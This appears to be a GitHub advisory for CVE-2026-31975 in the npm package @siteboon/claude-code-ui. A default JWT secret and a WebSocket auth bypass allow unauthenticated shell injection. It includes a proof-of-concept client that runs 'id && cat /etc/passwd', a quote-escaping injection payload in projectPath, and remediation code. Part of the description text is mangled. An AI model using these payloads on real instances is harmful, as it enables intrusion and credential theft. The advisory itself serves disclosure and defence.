GitHub Advisoryadvisory · npm

GHSA-gv8f-wpm2-m5wr @siteboon/claude-code-ui Vulnerable to Unauthenticated RCE via WebSocket Shell Injection

HIGH Published 2026-03-11 Modified 2026-03-11 Official page ↗
Aliases
CVE-2026-31975
Ecosystem
npm
Packages
@siteboon/claude-code-ui
Severity
High
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weaknesses
CWE-1188, CWE-287, CWE-78
Reviewed
2026-03-11

Affected packages

• npm @siteboon/claude-code-ui: < 1.25.0 → fixed in 1.25.0

Description

Security Advisory: Insecure Default JWT Secret + WebSocket Auth Bypass Enables Unauthenticated RCE via Shell Injection Download: cve_claudecodeui_submission_v2.zip  Submission Info | Field | Value | |-------|-------| | Package | `@siteboon/claude-code-ui` | | Ecosystem | npm | | Affected versions | ` { // Step 3: initialCommand is injected directly into bash ws.send(JSON.stringify({ type: 'init', projectPath: '/tmp', initialCommand: 'id && cat /etc/passwd', isPlainShell: true, hasSession: false })); }); ws.on('message', (data) => { const msg = JSON.parse(data); if (msg.type === 'output') process.stdout.write(msg.data); }); ``` Actual output observed during testing: ``` uid=1001(user) gid=1001(user) groups=1001(user),27(sudo) ubuntu root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ... ``` Secondary vector — `projectPath` double-quote escape injection ```javascript ws.send(JSON.stringify({ type: 'init', projectPath: '" && id && echo "pwned" # ', provider: 'claude', hasSession: false })); // Server executes: cd "" && id && echo "pwned" # " && claude // Output: uid=1001... / pwned ``` --- Additional Findings | CWE | Location | Description | |-----|----------|-------------| | CWE-306 | `server/routes/auth.js:22` | `/api/auth/register` requires no authentication — first caller becomes admin | | CWE-942 | `server/index.js:325` | `cors()` with no options sets `Access-Control-Allow-Origin: *` | | CWE-613 | `server/middleware/auth.js:70` | `generateToken()` sets no `expiresIn` — tokens never expire | --- Impact Any claudecodeui instance accessible over the network where `JWT_SECRET` is not explicitly configured (the default case, as it is absent from `.env.example`) is vulnerable to: • Full OS command execution as the server process user • File system read/write access • Credential theft (SSH keys, `.env` files, API keys stored on the host) • Lateral movement within the host network The attack requires zero authentication and succeeds immediately after default installation. --- Remediation Fix 1 — Enforce explicit JWT_SECRET; remove insecure default ```javascript // server/middleware/auth.js const JWT_SECRET = process.env.JWT_SECRET; if (!JWT_SECRET) { console.error('[FATAL] JWT_SECRET environment variable must be set'); process.exit(1); } ``` Also add `JWT_SECRET=` to `.env.example` with a clear instruction to set a strong random value. Fix 2 — Add DB user existence check in WebSocket authentication ```javascript const authenticateWebSocket = (token) => { if (!token) return null; try { const decoded = jwt.verify(token, JWT_SECRET); const user = userDb.getUserById(decoded.userId); // ← add if (!user) return null; // ← add return user; } catch (error) { return null; } }; ``` Fix 3 — Replace shell string interpolation with spawn argument array ```javascript // Instead of: const shellProcess = pty.spawn('bash', ['-c', `cd "${projectPath}" && ${initialCommand}`], ...); // Use: const shellProcess = pty.spawn(initialCommand.split(' ')[0], initialCommand.split(' ').slice(1), { cwd: projectPath // pass path as cwd, not shell string }); ``` Fix 4 — Additional hardening • Add `expiresIn: '24h'` to `generateToken()` • Restrict CORS to specific trusted origins • Rate-limit and restrict `/api/auth/register` to localhost on initial setup --- Timeline | Date | Event | |------|-------| | 2026-03-02 | Vulnerabilities discovered and verified via PoC | | 2026-03-02 | Private advisory submitted to maintainer | | 2026-06-01 | Public disclosure (90-day deadline) | --- Researcher Ethan-Yang — OPCIA

Related

Alias · CVE (1)

  • CVE-2026-31975 Cloud CLI (aka Claude Code UI) is a desktop and mobile UI for Claude Code, Cursor CLI, Codex, and Gemini-CLI. vulnerability

Weakness · CWE (3)

  • CWE-1188 Initialization of a Resource with an Insecure Default weakness
  • CWE-287 Improper Authentication weakness
  • CWE-78 Improper Neutralization of Special Elements used in an OS Command weakness

References